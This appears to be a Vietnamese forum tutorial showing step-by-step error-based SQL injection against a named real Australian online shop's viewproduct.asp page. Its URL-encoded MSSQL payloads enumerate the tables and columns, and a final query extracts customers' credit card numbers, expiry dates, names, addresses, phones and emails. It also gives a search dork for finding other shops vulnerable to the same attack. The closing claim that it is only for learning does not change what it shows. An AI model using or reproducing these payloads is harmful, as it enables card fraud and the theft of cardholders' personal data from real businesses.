[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘categorieslist’ to a column of data type int.

/shop/include/viewproduct.asp, line 3

ok table 1 la ‘categorieslist’,muon lay table thu 2 thi phai dung den where table_name not in(’table1′)

cau truy van nhu sau:

Code:

%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_nam e%20not%
20in(’categorieslist’)))–sp_password

http://www.mcmessentials.com.au/shop…)–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘allorders’ to a column of data type int.

/shop/include/viewproduct.asp, line 3

table 2 la` ‘allorders’
muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay
Code:

%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_nam e%20not%
20in(’categorieslist’,’allorders’)))–sp_password

day la tat ca cac table cua shop vua lay duoc

Code:

‘categorieslist’,’allorders’,’categories’,’categor ymembers’,’deliveryZones’,’dtproperties’,’essorder s’,’fullorder’,’keywords’,
‘optiongroupmembers’,’optiongroups’,’optiongroupsl ist’,’optionmembers’,’options’,’optionslist’,’orde roptions’,’orderoptions-options’,’orderproducts’,’orderproducts-products’,’orders’,’products’,’products-categories’,’products-options’,’searchresults’,’sysconstraints’,’syssegm ents’

ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac column,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,’allorders’ hoac ‘orders’
ok ta lay no thoi
cau truy van lay column dau tien la`
1—lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang
Code:

%2bconvert(int,(select top 1 column_name from information_schema.columns))–sp_password

duoc column1 roi thi dung where column_name not in(’column1′) ok ha
2–lay column tren table da xac dinh truoc
cau truy van nhu sau vi du toi lay column tren table orders

Code:

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name =’orders’))–sp_password

http://www.mcmessentials.com.au/shop…)–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘orderid’ to a column of data type int.

/shop/include/viewproduct.asp, line 3

column dau tien la` ‘orderid’
lay column thu 2 thi can them and column_name not in(’orderid’)

Code:

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name =’orders’ and column_name not in(’orderid’)))–sp_password

http://www.mcmessentials.com.au/shop…)–sp_password

Code:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘created’ to a column of data type int.

/shop/include/viewproduct.asp, line 3

va lan luot lay cho het cac column cua table ‘orders’

khi anh em da lay duoc tat ca cac column cua table ‘orders’roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: “/shop?viewproduct.asp” thi chi co 1 kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca
may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi

lay cc dau tien

Code:

%2bconvert(int,(select%20top%201%20cardtype%2b’%20 Name:’%2bcardname%2b’%20addr:%20′%2baddress%2b’%20 suburb:%20′%
2bsuburb%2b’%20state:%20′%2bstate%2b’%20zip:%20′%2 bpostcode%2b’%20country:%20′%2bcountry%2b’%20phone :%20′%2bphone%
2b’%20email:%20′%2bemail%2b’%20cardnumber:%20′%2bc ardnumber%2b’%20expireymonth:%20′%2bexpirymonth%2b ‘%20year:%20′%

2bexpiryyear%20from%20orders))–sp_password

lay’ cc thu 2 thi ta them vao o sao ….from orders where cardnumber not in(’so card dau tien’)
va lan luot lay het cac credit card co tren do’
nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko nham muc dich pha hoai bat cu ai .

Trang sau »